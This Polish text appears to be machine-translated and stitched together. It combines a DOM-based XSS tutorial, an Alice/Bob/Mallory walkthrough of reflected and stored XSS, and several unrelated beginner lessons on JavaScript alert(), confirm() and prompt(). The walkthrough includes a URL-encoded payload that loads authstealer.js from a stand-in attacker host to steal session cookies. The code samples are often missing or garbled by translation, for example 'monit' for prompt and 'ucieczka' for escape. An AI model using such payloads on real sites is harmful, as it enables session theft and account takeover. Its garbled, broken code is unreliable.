A DOM XSS zmienia strukturę DOM, która jest tworzona w przeglądarce w locie, a złośliwy kod możemy zobaczyć tylko podczas przeglądania utworzonej struktury DOM. HTML się nie zmienia. Weźmy ten kod jako przykład:

Następnie w przeglądarce zobaczymy:

Kod źródłowy strony:

Utwórzmy adres w ten sposób:

http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;

Teraz strona wygląda tak:

Ale spójrzmy na źródło HTML:

Nie zmieniło się absolutnie nic. O tym właśnie mówiłem, musimy przyjrzeć się strukturze DOM dokumentu, aby zidentyfikować złośliwy kod:

Oto działający prototyp XSS, do prawdziwego ataku potrzebujemy bardziej złożonego ładunku, co nie jest możliwe ze względu na to, że aplikacja przestaje czytać zaraz po średniku i coś w stylu ostrzeżenie (1); ostrzeżenie (2) już niemożliwe. Jednak dzięki ucieczka () w zwróconych danych możemy użyć takiego ładunku:

http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;

Gdzie zastąpiliśmy symbol ; do odpowiednika zakodowanego w URI!

Możemy teraz napisać złośliwy ładunek JavaScript i utworzyć link, który zostanie wysłany do ofiary, tak jak robi to standardowe nietrwałe skryptowanie między witrynami.

Audytor XSS

W Google Chrome(a także w Operze, która teraz korzysta z silnika Google Chrome), czekała mnie niespodzianka:

dom_xss.html:30 Audytor XSS odmówił wykonania skryptu w „http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);”, ponieważ w żądaniu znaleziono jego kod źródłowy. Audytor został włączony, ponieważ serwer nie wysłał ani nagłówka „X-XSS-Protection” ani „Content-Security-Policy”.

Tych. przeglądarka ma teraz audytora XSS, który będzie próbował zapobiec XSS. Firefox nie ma jeszcze tej funkcjonalności, ale myślę, że to kwestia czasu. Jeśli implementacja w przeglądarkach się powiedzie, to możemy mówić o znacznej trudności w zastosowaniu XSS.

Warto o tym pamiętać nowoczesne przeglądarki podejmuje kroki w celu ograniczenia poziomu wykorzystywania problemów, takich jak nietrwały XSS i XSS oparty na DOM. O tym też należy pamiętać podczas testowania stron internetowych za pomocą przeglądarki – może się okazać, że aplikacja internetowa jest podatna na ataki, ale nie zobaczysz wyskakującego okienka z potwierdzeniem tylko dlatego, że przeglądarka go blokuje.

Przykłady wykorzystania XSS

Atakujący, którzy zamierzają wykorzystać luki w zabezpieczeniach cross-site scripting, muszą inaczej podejść do każdej klasy luk. Tutaj opisano wektory ataków dla każdej klasy.

W przypadku podatności XSS ataki mogą wykorzystywać BeEF, który rozszerza atak ze strony internetowej na lokalne środowisko użytkowników.

Przykład nietrwałego ataku XSS

1. Alicja często odwiedza pewną stronę internetową hostowaną przez Boba. Witryna Boba pozwala Alicji zalogować się za pomocą nazwy użytkownika/hasła i przechowywać poufne dane, takie jak informacje rozliczeniowe. Kiedy użytkownik się loguje, przeglądarka przechowuje ciasteczka autoryzacyjne, które wyglądają jak bezsensowne znaki, tj. oba komputery (klient i serwer) pamiętają, że weszła.

2. Malory zauważa, że ​​witryna Boba zawiera nietrwałą lukę XSS:

2.1 Odwiedzając stronę wyszukiwania, wprowadza ciąg wyszukiwania i klika przycisk przesyłania, jeśli nie zostaną znalezione żadne wyniki, strona wyświetla wprowadzony ciąg wyszukiwania, a następnie słowa „nie znaleziono”, a adres URL wygląda tak http://bobssite.org?q=her wyszukiwana fraza

2.2 W przypadku zwykłego zapytania, takiego jak słowo „ psy» strona po prostu się renderuje « psy nie znaleziono” i url http://bobssite.org?q= psy, co jest całkiem normalnym zachowaniem.

2.3 Jednak, gdy anomalne wyszukiwane hasło, takie jak :

2.3.1 Pojawia się komunikat ostrzegawczy (z napisem „xss”).

2.3.2 Wyświetlanie stron nie znaleziono wraz z komunikatem o błędzie z tekstem "xss".

2.3.3 możliwy do wykorzystania adres URL http://bobssite.org?q=alert("xss");

3. Mallory konstruuje adres URL, aby wykorzystać lukę:

3.1 Tworzy adres URL http://bobssite.org?q=szczeniaki . Może zdecydować się na konwersję znaków ASCII na format szesnastkowy, taki jak http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E aby uniemożliwić ludziom natychmiastowe odszyfrowanie złośliwego adresu URL.

3.2 Wysyła e-maile do niczego niepodejrzewających członków strony Boba, mówiąc „Sprawdź fajne psy”.

4. Alicja otrzymuje list. Kocha psy i klika w link. Przechodzi do witryny Boba w wyszukiwarce, niczego nie znajduje, jest napisane „nie znaleziono psów”, a na samym środku uruchamiany jest tag ze skryptem (jest niewidoczny na ekranie), ładuje i wykonuje program Mallory'ego authstealer.js (wyzwalanie Ataki XSS). Alicja o tym zapomina.

5. Program authstealer.js działa w przeglądarce Alicji tak, jakby pochodził ze strony Boba. Łapie kopię pliku cookie autoryzacji Alice i wysyła go na serwer Mallory, gdzie Mallory je pobiera.

7. Teraz, gdy Mallory jest w środku, przechodzi do sekcji płatności na stronie, patrzy i kradnie kopię numeru. karta kredytowa Alicja. Następnie idzie i zmienia hasło, tj. teraz Alice nie może już nawet wejść.

8. Postanawia wykonać następny krok i wysyła tak skonstruowane łącze do samego Boba, dzięki czemu uzyskuje uprawnienia administracyjne do witryny Boba.

Atak z uporczywym XSS

1. Mallory ma konto na stronie Boba.
2. Mallory zauważa, że ​​witryna Boba zawiera trwałą lukę XSS. Jeśli przeprowadzasz się do nowa sekcja, opublikuj komentarz, wyświetla wszystko, co jest w nim wpisane. Ale jeśli tekst komentarza zawiera znaczniki HTML, te znaczniki będą renderowane bez zmian, a wszystkie znaczniki skryptu zostaną uruchomione.
3. Malory czyta artykuł w dziale wiadomości i pisze komentarz w dziale komentarzy. Wstawia tekst do komentarza:
4. W tej historii bardzo podobały mi się psy. Oni są bardzo mili!

   Zwróć uwagę na tagi kodu HTML, do których należy osadzony kod. Oto przykład typowego pola wejściowego ( Wejście):

   Nasz ładunek trafi tam, gdzie jest teraz słowo „poszewka na poduszkę”. Tych. zamień w wartość tagu Wejście. Możemy tego uniknąć - zamknijmy się cudzysłów, a następnie sam tag z "/>

   "/>

   Wypróbujmy to na jakiejś stronie:

   

   OK, istnieje luka.

   

   Programy do wyszukiwania i skanowania luk XSS
   

   Prawdopodobnie wszystkie skanery aplikacji internetowych mają wbudowany skaner podatności XSS. Ten temat nie został omówiony, lepiej zapoznać się z każdym takim skanerem osobno.

   Istnieją również wyspecjalizowane narzędzia do skanowania pod kątem luk XSS. Wśród nich jest to szczególnie godne uwagi.

   W tym artykule przyjrzymy się trzem interesującym metodom, a mianowicie: alert(), Confirm() i prompt() metody. Oni wszyscy przeznaczone do interakcji z użytkownikiem.

   Wszystkie trzy z tych metod należą do obiektu window. Można je nazwać tak: okno.nazwa_metody(); Ale JavaScript pozwala nam nie określać tego obiektu okna, ale po prostu napisać nazwę metody.

   Zaczniemy od metody alert(). Ta metoda, wyświetla określony komunikat w oknie przeglądarki użytkownika. To pole będzie wyświetlane na górze całej strony i dopóki użytkownik nie kliknie przycisku OK, nie zostanie zamknięte.

   Aby to zademonstrować, wyświetlmy komunikat za pomocą metody alert().

   var dzisiaj_is = "Poniedziałek"; alert("Dzisiaj jest" + dzisiaj_jest);

   
   

   Wewnątrz metody możemy podać dowolny ciąg znaków, tylko bez tagów html. Nie są tutaj przetwarzane, ale wyświetlane w stanie, w jakim są.

   Jeśli ciąg, który chcemy określić jest bardzo długi i chcemy skoczyć do Nowa linia, to tutaj jest tag html
   nie zadziała. Tutaj musisz użyć znaku "\n".

   Alert("Loooooooong \nStringgggggg");

   
   

   Ta metoda jest często stosowana znaleźć błąd w kodzie.

   Proces przetwarzania kodu przebiega od góry do dołu, więc aby wyłapać błąd, po prostu piszemy metodę alert() w zamierzonym obszarze, w którym znajduje się błąd. A jeśli alert() zadziałał, to nie ma błędów do linii, w której jest napisane.

   Następnie musisz przenieść go o jedną lub więcej linii poniżej. Zapisujemy zmiany, ponownie odświeżamy stronę w przeglądarce i sprawdzamy, czy alert() zadziałał, co oznacza, że ​​przed linią, w której się znajduje, nie ma żadnych błędów, w przeciwnym razie jeśli to nie zadziałało, błąd jest w wierszu powyżej, w którym obecnie jest. W ten sposób możesz znaleźć błąd w kodzie.

   Metoda Confirm()

   Ta metoda służy do potwierdzenia odpowiedzi na jakieś pytanie. Istnieją tylko dwie opcje odpowiedzi, tak (OK) lub nie (Anuluj / Anuluj). Jeśli użytkownik odpowie tak, metoda zwróci true, w przeciwnym razie zwróci false.

   Na przykład wyświetlimy okno za pomocą metody Confirm(), w którym zapytamy użytkownika "Czy na pewno chcesz opuścić stronę?". Jeżeli użytkownik odpowie tak, to poprzez metodę alert() wyświetlimy taki komunikat "Użytkownik chce opuścić stronę", w przeciwnym razie wyświetlimy kolejny komunikat "Użytkownik NIE chce opuszczać strony".

   Var user_answer = Confirm("Czy na pewno chcesz opuścić stronę?"); if(user_answer) alert("Użytkownik chce opuścić stronę"); else alert("Użytkownik NIE chce \nopuszczać strony");

   
   

   Tak działa metoda Confirm(). Może być używany przy różnych okazjach. Na przykład przed usunięciem czegoś ze strony zwyczajowo pyta się użytkownika, czy jest pewien swoich działań. Lub przed przesłaniem formularza możesz również zapytać użytkownika „Czy wszystko poprawnie wypełniłeś?” Jeśli odpowie tak, formularz zostanie wysłany, w przeciwnym razie nie zostanie wysłany.

   metoda zachęty ()

   A ostatnią metodą, której się nauczymy, jest metoda prompt(). Ta metoda jest używana rzadziej niż dwie pozostałe metody. Pozwala uzyskać od użytkownika pewne informacje, które wprowadzi w pole tekstowe.

   W rezultacie metoda prompt() zwraca ciąg wejściowy, jeśli użytkownik kliknął przycisk OK, lub null, jeśli użytkownik kliknął przycisk anulowania.

   Jako parametr, czyli w nawiasach tej metody możemy wpisać orientacyjny napis lub pytanie, aby użytkownik wiedział, jakie informacje należy wprowadzić.

   Na przykład poprośmy użytkownika o odpowiedź na pytanie „Jak się nazywasz?”. Wprowadzona przez użytkownika nazwa zostanie wyświetlona na ekranie za pomocą metody alert().

   Varname = prompt("Jak masz na imię?"); alert("Twoje imię to " + imię);

   Zapisz i otwórz stronę w przeglądarce.

   
   

   Oczywiście wszelkie informacje można wprowadzić do pola tekstowego za pomocą metody prompt(). Ta informacja zostanie zwrócona jako ciąg, nawet w przypadku cyfr lub innych znaków specjalnych.

   Na przykład poprośmy użytkownika o wprowadzenie dwóch liczb, aby później je pomnożyć. Będzie kalkulator do mnożenia liczb.

   Var x = monit("Wprowadź pierwszą liczbę:"); var y = monit("Wprowadź drugą liczbę:"); //Konwertuj wprowadzone liczby z typu string na typ liczbowy x = Number(x); y = liczba(y); document.write(x + " * " + y + " = " + (x * y));

   Wprowadzone liczby są ciągami, więc aby uzyskać poprawny wynik mnożenia, liczby te muszą zostać przekazane przez funkcję Number(), która konwertuje je z typu string na normalne liczby.

   Cóż, to wszystko. Teraz znasz jeszcze trzy metody: alert(), potwierdzić() i monit(). Które możesz bezpiecznie wykorzystać w praktyce.

   W tej lekcji poznamy metody obiektu window: alert() , prompt() i confirm() .

   alert() metoda

   Metoda alert() ma na celu wyświetlenie okna dialogowego ostrzeżenia z określonym komunikatem i przyciskiem OK na ekranie użytkownika. Może służyć do przekazywania użytkownikowi ważnych informacji.

   okno.alert(Parametr_1);

   Metoda alert() ma jeden wymagany parametr, którym jest tekst komunikatu, który jest wyświetlany w oknie dialogowym. Ta metoda nie zwraca niczego w wyniku jej wykonania.

   Na przykład, wyświetlmy okno dialogowe ostrzeżenia dla odwiedzającego witrynę po kliknięciu łącza: Wejdź na stronę internetową

   

   Metoda Confirm()

   Metoda Confirm() obiektu window ma na celu wyświetlenie okna dialogowego z określonym komunikatem oraz przyciskami OK i Anuluj na ekranie użytkownika. Możesz użyć okna potwierdzenia, aby poprosić użytkownika o pozwolenie na wykonanie akcji.

   var wynikPotwierdź = potwierdź(Parametr_1);

   

   Ta metoda ma jeden parametr - tekst komunikatu, który zostanie wyświetlony w oknie dialogowym.

   Metoda Confirm() jako wynik (resultConfirm) swojego wykonania zwraca jedną z dwóch wartości:

   • prawda, jeśli użytkownik kliknął OK;
   • false, jeśli użytkownik kliknął Anuluj lub je zamknął.

   Na przykład wyświetlmy w elemencie p z id="resultConfirm" wynik kliknięcia przez użytkownika przycisku "OK" w oknie dialogowym:

   

   metoda zachęty ()

   Metoda prompt() służy do wyświetlania okna dialogowego z komunikatem, polem tekstowym do wprowadzania danych oraz przyciskami „OK” i „Anuluj” na ekranie użytkownika. Jest przeznaczony do żądania danych od użytkownika.

   var wynikPrompt = monit(Parametr_1, Parametr_2);

   

   Ta metoda ma dwa parametry:

   • komunikat do wyświetlenia w oknie dialogowym. Ten parametr jest wymagany i zawiera komunikat „mówiący”, jakie dane użytkownik powinien wprowadzić w polu tekstowym;
   • drugi parametr jest opcjonalny i można go użyć do określenia wartości początkowej, która będzie wyświetlana w polu wejściowym okna dialogowego po otwarciu.

   W zależności od działań użytkownika metoda prompt() może zwrócić następujące dane:

   • wartość tekstowa - jeśli pole wejściowe zawiera dane, a użytkownik kliknął „OK”;
   • pusty ciąg - jeśli pole wejściowe nie zawiera danych, a użytkownik kliknął „OK”;
   • null - jeśli użytkownik kliknął "Anuluj" lub zamknął to okno, nie ma znaczenia jakie dane zostały wprowadzone w polu tekstowym.

   Uwaga: Okno dialogowe, które pojawia się w wyniku wykonania jednej z metod alert() , confirm() lub prompt() jest modalne, tj. blokuje dostęp użytkownika do aplikacji nadrzędnej (przeglądarki), dopóki użytkownik nie zamknie okna dialogowego.

   Na przykład poprosimy użytkownika o nazwę i, w zależności od wyniku, wyświetlimy tekst w elemencie c id="nameUser" :

   

   Na przykład poprośmy użytkownika o odgadnięcie liczby 8:

   ... Zgadnij numer

   

   Można zorganizować dialog z odwiedzającym zasób sieciowy różne sposoby, z których użyj Funkcje JavaScript alert() to najprostsza i najszybsza opcja. Ta opcja jest szczególnie dobra do celów testowych, ale w wielu zasobach jest używana jako naturalna funkcjonalność.

   Funkcja JavaScript alert() pozwala uzyskać odpowiedź twierdzącą. W rzeczywistości to nie odpowiedź jest ważna, ale sam fakt wydawania informacji. Ponadto zasób sieciowy przestaje działać, dopóki użytkownik nie odpowie. Odpowiedź na alert jest zawsze taka sama - oto odpowiedź!

   Do celów debugowania JavaScript alert() jest idealnym narzędziem do szybkiego uzyskiwania aktualnych informacji, podejmowania decyzji i kontynuowania pracy. Ale w celu normalnego funkcjonowania strony ma również sporo zalet.

   Przyciąganie uwagi odwiedzającego

   „Alert” – jak w życiu, tworzy wydarzenie, obok którego nie można przejść. Ale to zdarzenie może, ale nie musi wystąpić..

   

   Rzadki programista zdaje sobie sprawę z tej okoliczności i boleśnie długo debuguje swoją witrynę po stronie klienta. Jednocześnie niewielu programistów nie wie: często tak trudno jest znaleźć błąd w kliencie, czyli w przeglądarce, że:

   • marnują się godziny cennego czasu;
   • wydawane są niesamowite przekształcenia kodu;
   • wiele skryptów jest odrzuconych, słowem, zarówno przeglądarka, jak i serwer to rozumieją.

   I nie ma rezultatu. Ani debugery nie pomagają, ani słowa, ani narzędzia do debugowania wbudowane w każdą przeglądarkę. Tymczasem skrzynia zawsze po prostu się otwiera - ważny jest odpowiedni klucz.

   Prosta zasada poprawnego kodu

   Przede wszystkim pliki cookie stały się najbardziej pożądanym elementem nowoczesnej strony internetowej. Nigdy nie powinieneś zapominać:

   • Alert JavaScript i plik cookie dotyczący dokumentów
   • „tu i teraz” i „w ogóle lub kiedyś”.

   Pliki cookie to fajna funkcja do zapamiętania w głębi przeglądarki o każdym kliencie, ale nie należy przywiązywać do tego wagi w bieżącej sesji. Główną troską plików cookie jest pozostawanie w „pamięci” przeglądarki w treści, którą miała w momencie odejścia odwiedzającego.

   Pod wszystkimi innymi względami kod skryptu w trzewiach przeglądarki zależy tylko od siebie i zdarzeń, które przetwarza.

   W tym kontekście, a ten kontekst jest tutaj idealny, kod nie może zawieść, jeśli jest napisany poprawnie. Jest to idealna zasada poprawnego kodu. Jeśli przeglądarka wyświetla pusty ekran lub robi coś nie tak, istnieje powód, aby przypuszczać, że wystąpił błąd.

   Łatwiejsze zastosowanie:

   • JavaScript alert("Jak dotąd wszystko było w porządku!").

   Najlepszy debugger lub debugger to zdarzenie, które musi się wydarzyć ale tak się nie dzieje.

   Przesuwając tę ​​konstrukcję od zera do irytującego przestępstwa w kodzie, możesz znaleźć miejsce, po którym nie działa. Błąd zostanie znaleziony. JavaScript alert() to okno modalne . Nie można go w żaden sposób ominąć i nic się nie stanie, dopóki programista / gość nie zamknie tego okna.

   Jeśli okno się nie pojawi, oznacza to, że albo jest ono niepoprawnie wskazane w kodzie, albo wszystko, co znajduje się przed nim, zawiera błąd.

   Trudna sytuacja, w której alert JavaScript wydaje się nie działać

   Dotyczy to głównie algorytmów AJAX służących do wymiany informacji z serwerem. Nie zawsze jest dopuszczalne używanie tutaj klasycznych narzędzi do debugowania, a także po stronie klienta system warstwowy obiekty, wtedy debugowanie jest zazwyczaj przekształcane w umysł programisty i żaden debugger nie może pomóc.

   Najlepszą opcją na alert w procedurze komunikacji z serwerem jest div (div), w którym umieszczony jest protokół komunikacji z serwerem metodą innerHTML – zawsze będzie jasne, na jakim etapie występuje problem.

   

   Statyczny element div, który jest zawsze widoczny na stronie, nie jest modalem alertu JavaScript. Okno może się nie pojawiać, a przyczyn tego może być wiele i są one poprawne składniowo. Język przeglądarki ma wyjątkowo spokojne usposobienie i nigdy nie podejmie żadnych działań, jeśli czegoś nie przeanalizował i nie zrozumiał.

   Statyczny charakter każdego Znacznik HTML to dobry czynnik. Usuń cały kod i dodawaj go porcjami, aż błąd wystąpi ponownie - nie najlepszy szybka technologia do debugowania. Poprawne pisanie jest popularną radą, pożądaną, ale niepraktyczną.

   Język przeglądarki jest sterowany zdarzeniami, jego głównym zadaniem nie jest sekwencyjny kod, ale wykonanie funkcjonalności przypisanej do tagów strony i obsługa zdarzeń.

   Dodatkowa zasada do prostej zasady

   Jeżeli w przeglądarce nie pojawiło się okienko z alertu JavaScript("Do tej pory wszystko jest napisane poprawnie") oznacza to, że składnia aż do miejsca, w którym ta konstrukcja jest napisana, nie budzi wątpliwości w przeglądarce i jest wykonywana poprawnie.

   Logika nowoczesny styl litery mają poważną wadę. Wszystkie pliki stronicowania są łączone (wraz z ich istotą i typami) w jedną całość, po czym budowany jest DOM. Często znaczenie ma kolejność łączenia plików.

   Najlepiej, gdy programista nie przywiązuje wagi do eventowej zasady organizowania wykonania funkcji przypisanych do zdarzeń, ale układa wszystkie funkcje w kolejności ich zastosowania i przypisania do tagów strony i zdarzeń.

   

   Porządek jest zawsze najważniejszy. JavaScript sam ustali resztę: co i kiedy wywołać. Współczesne programowanie ogólnie iw kontekście dowolnej metody, w szczególności wysoce zorganizowanego podejścia obiektowego, jest zawsze spójne. są zawsze łączone sekwencyjnie zgodnie z opisem.

   Jeśli coś się nie dzieje, to znaczy: nie gdzieś coś jest nie tak, ale tylko przed tym miejscem.

   • metody obiektów okiennych;
   • metoda alert(): krótkie podsumowanie;
   • metoda Confirm() - pisanie listów;
   • metoda prompt() - zapoznajmy się, jestem Stirlitz.

   A więc obiekty przeglądarki. A przede wszystkim – najstarszy z nich, przedmiot okno.

   Oto główne metody obiektu okno(oprócz nich są jeszcze inne, ale niewiele się z nich przydają, a żeby nie zaśmiecać mózgu niepotrzebnymi informacjami, odłożę je do trzeciej serii).

   metoda	Opis
   	Otwieraj i zamykaj okna przeglądarki; można określić wielkość okna, jego zawartość, a także obecność klawiatura, pola adresowe i inne atrybuty.
   	Pojawienie się okna dialogowego alarmu z odpowiednim komunikatem.
   	Pojawienie się okna dialogowego potwierdzenia z przyciskami „OK” i „Anuluj”.
   	Wygląd okna dialogowego monitu z polem wprowadzania tekstu.
   	Ustaw lub usuń fokus dla okna.
   	Przewija zawartość okna do określonego punktu.
   	Ustawianie odstępu czasu między wywołaniem funkcji a oceną wyrażenia.
   	Ustawienie jednego interwału czasu przed wywołaniem funkcji lub oceną wyrażenia.

   Już to wiemy okno często implikowane, ale nie pisane.

   Wywoływanie różnych okien dialogowych

   Okna dialogowe są używane w programach do interakcji z użytkownikiem.

   alert() metoda

   Przeanalizowaliśmy to na samym początku naszych studiów. Tworzy proste okno dialogowe z komunikatem i przyciskiem OK. Cała jego interakcja ogranicza się do tego, że użytkownik, naciskając ten jeden przycisk, może wysłać to okno gdzieś daleko (i dzięki za to).

   Metoda Confirm()

   metoda potwierdzać() już pozwala użytkownikowi na podjęcie najprostszej „logicznej” decyzji: powiedzenie „tak” lub „nie”.

   Na przykład kliknij ten przycisk:

   Przepraszam za mały żart. Mam nadzieję, że wiesz, jak używać przycisku Wstecz.

   Jak to wszystko jest zaaranżowane? Widziałeś oczywiście, że mam tę metodę połączoną z alertami. Odbywa się to za pomocą funkcji wstawionej w .

   Metoda zwraca dwie wartości: PRAWDA(jeśli OK) i fałszywy(jeśli anulowane).

   W PRAWDA wysyłamy go na odpowiednią stronę (właściwość href obiekt Lokalizacja) i wyprowadź odpowiednie alarm(). W przeciwnym razie (tj. fałszywy) po prostu wypisz inny alarm().

   A w przycisku wywołujemy funkcję w zdarzeniu na kliknięcie:

   A potem musisz wywołać tę funkcję z obsługi zdarzeń onSubmit etykietka

   , na przykład:

   „http://narod.yandex.ru/send-poll.xhtml” metoda="post" onSubmit= "zwróć potwierdzenieAkcji()" >

   Tutaj możesz na przykład napisać do mnie na „mydle” wszystko, co myślisz o moich lekcjach. Jeśli nagle podekscytowałeś się i nacisnąłeś przycisk, a potem jakoś stało się to niezręczne, pojawi się okno dialogowe i otrzeźwi cię.

   Jeśli robisz wyskakujące okienka, dobrą praktyką jest ostrzec użytkownika i dać mu wybór, czy otworzyć okno, czy nie. Aby to zrobić, przed załadowaniem okna musisz zwolnić "parlamentarz" - okno dialogowe potwierdzać(). Tutaj funkcja jest wywoływana z . Porozmawiamy o tym już niedługo, gdy przejdziemy do tworzenia okien za pomocą metody otwarty().

   metoda zachęty ()

   Ta metoda już monituje użytkownika o określone dane. Pojawi się okno dialogowe z polem wprowadzania. Metoda zwraca dane, które użytkownik wprowadził w tym polu i pozwala programowi na pracę z tymi danymi.

   W metodzie podpowiedź() dwa argumenty: pytanie (które pojawia się nad polem wejściowym) i odpowiedź (tekst w polu wejściowym):

   Jeśli chcesz, aby pole wejściowe było czyste, umieść puste cudzysłowy jako drugi argument:

   podpowiedź("tekst pytania","")

   Zobaczmy to w akcji. Naciśnij przycisk, nie bój się.

   Czyli wprowadziłeś (lub nie wprowadziłeś) dane i otrzymałeś odpowiedź z komputera na podstawie tych danych (lub ich braku).

   Oto prosta wersja tej funkcji:

   Nieruchomość wewnętrznyHTML, który pozwala kontrolować zawartość tagu, spotkaliśmy się na lekcji 10, kiedy programowaliśmy nazwy pod obrazkami.

   A oto kod przycisku i pusty akapit powitania.

   Ale jeśli okazałeś się moim imiennikiem, widziałeś, że funkcja również na to zareagowała.

   Jak to zrobić w „szorstkiej” wersji, możesz już sam zgadnąć. Musisz sprawdzić zmienną Nazwa Użytkownika nie tylko w pustych cytatach, ale także w „ Andrzej” i dodaj jeszcze jeden jeśli z odpowiednim tekstem (możesz sam ćwiczyć).

   Ale jeśli wpiszesz „ Andrzej", "Andryusza", "Andriuszka", "Andriuchań", "Andreyka", "Andriej Iwanowicz" itd., wtedy wynik będzie podobny, chociaż nie przeszedłem wprost przez wszystkie te wartości, ale udało mi się tylko pięć wierszy: " Andre", "Andrzej", "Andrzej", "Andreiche" oraz " Andreichu”(ostatnie trzy - w celu wykluczenia Andreieva, Andreichenko i Andreichuka z imienników, przy jednoczesnym zachowaniu Andreichika w imiennikach).

   Oznacza to, że możesz się domyślić, że funkcja sprawdza zmienną Nazwa Użytkownika dla pierwszych 5, 6 lub 8 znaków.

   Ale o tym porozmawiamy nieco później, kiedy przejdziemy do obiektów łańcuchowych i ich metod. Chcę tylko, abyście z góry wyobrazili sobie zadania, które musimy rozwiązać (w szczególności wszelkiego rodzaju dzielenie ciągów na podciągi). Wtedy same decyzje będą wydawały się jaśniejsze. Ale jeśli nie możesz czekać, możesz "skopiować" funkcję z kodu i "wyciąć jak orzech". Dla ciekawskich napisałem tam komentarz.

   metoda podpowiedź() może być również użyty do wprowadzenia hasła.

   To nie koniec lekcji!

   Pobawmy się trochę w szpiega, aby zakończyć czytanie tego rozdziału. Najpierw spróbuj nacisnąć przycisk i coś wpisać.

   Ach, to jest to! Ale spójrz, jest jeszcze jeden przycisk! Daj spokój...

   Hasło:

   Ponownie naciśnij pierwszy przycisk i wprowadź poprawne hasło.

   Cała ta zabawa może mieć jakiś efekt, ale w rzeczywistości hasło można znaleźć, naciskając prawy przycisk i patrząc na to w kodzie. Niektórzy mogą naiwnie pomyśleć, że wystarczy umieścić kod w osobnym pliku .js. Ale w kodzie strony będzie link do tego pliku z adresem. A jeśli to zadzwonisz pasek adresu, otworzy się plik z kodem JavaScript :)

   Czy można zaszyfrować hasło kodem? Możesz, ale to znowu wymaga manipulacji ciągami wraz z użyciem pewnych metod matematycznych. Kiedy do tego dojdziemy, przestudiujemy również „prawdziwy” skrypt hasła. Ale technika interakcji z użytkownikiem nadal będzie taka sama: metoda podpowiedź(). (Czy można „złamać” zaszyfrowane hasło? Niestety, doskonałość hakerów nie ma granic…)

   W ten sam sposób, w jaki „złapaliśmy” nazwę lub jej brak, złapiemy hasło funkcją.

   Jeśli wprowadzisz nieprawidłowe hasło lub nic nie wprowadzisz, linia

   document.getElementById("no").style.display = "blok"

   otwiera blok drugim przyciskiem

   A jeśli zostanie wprowadzone prawidłowe hasło, akcja zostanie przeniesiona do ciągu

   document.getElementById("tak").style.display = "blok",

   który otwiera następny blok

   Przestań, co to za kryakozubry? To prosty szyfr, wkrótce wyjaśnię.

   W międzyczasie podaję kod tych bloków (dla jasności pomijam tabelkę z ramkami, którą zamknąłem w ostatnim bloku):

   "nie" style="wyświetlacz: brak;" > Ach, to jest to! Ale spójrz, jest jeszcze jeden przycisk! Daj spokój... "mojehasło" style="wyświetlacz: brak;" > Hasło: Ponownie naciśnij pierwszy przycisk i wprowadź poprawne hasło. "tak" style="wyświetlacz: brak;" > Teraz czytamy dalej. . . . . . . . . . .

   A więc o szyfrowaniu. Jest bardzo nieszczęśliwa. Każdy, poznanie funkcji ucieczka() oraz ucieczka (), natychmiast go zhakuje.

   Funkcjonować escape("tu wpisz ciąg") konwertuje znaki na ich wartości szesnastkowe.

   Funkcjonować unescape("tu wstaw kwakaubów") robi coś przeciwnego.

   Aby zaszyfrować hasło w ten sposób, musisz je przejechać w domu ucieczka(), skopiuj wynik i wklej go do ucieczka (). Ale to, powtarzam, nie jest poważne.

   Cóż, bo kompletny zestaw- funkcja dla drugiego przycisku:

   Aby wyświetlić standardowe okna dialogowe, JavaScript ma tylko trzy metody, których nauczyliśmy się dzisiaj. Chociaż metody te nie zdarzają się zbyt często, umiejętność korzystania z nich pewnie jest niezwykle przydatna. Są proste, ale jednocześnie są, że tak powiem, „czystym” programowaniem. Są bardzo dobre, aby wypełnić Twoją rękę w opanowaniu języka programowania. I radzę eksperymentować z nimi w każdy możliwy sposób, nawet jeśli bezcelowo z pragmatycznego punktu widzenia. dobre programowanie- to ekscytująca gra, jak każda kreatywność.